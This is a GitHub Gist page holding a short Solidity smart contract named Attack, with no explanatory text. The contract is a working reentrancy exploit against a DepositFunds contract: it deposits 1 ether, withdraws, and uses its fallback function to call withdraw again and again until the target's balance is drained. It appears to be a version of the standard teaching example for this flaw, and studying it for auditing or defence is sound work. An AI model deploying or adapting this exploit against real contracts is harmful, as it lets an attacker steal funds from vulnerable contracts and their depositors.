Skip to content

Instantly share code, notes, and snippets.

@huantt
Created December 28, 2022 05:31
Show Gist options
  • Select an option

  • Save huantt/48c0993386fd0d16a047a2e0e88a9d84 to your computer and use it in GitHub Desktop.

Select an option

Save huantt/48c0993386fd0d16a047a2e0e88a9d84 to your computer and use it in GitHub Desktop.
contract Attack {
DepositFunds public depositFunds;
constructor(address _depositFundsAddress) {
depositFunds = DepositFunds(_depositFundsAddress);
}
// Fallback is called when DepositFunds sends Ether to this contract.
fallback() external payable {
if (address(depositFunds).balance >= 1 ether) {
depositFunds.withdraw();
}
}
function attack() external payable {
require(msg.value >= 1 ether);
depositFunds.deposit{value: 1 ether}();
depositFunds.withdraw();
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment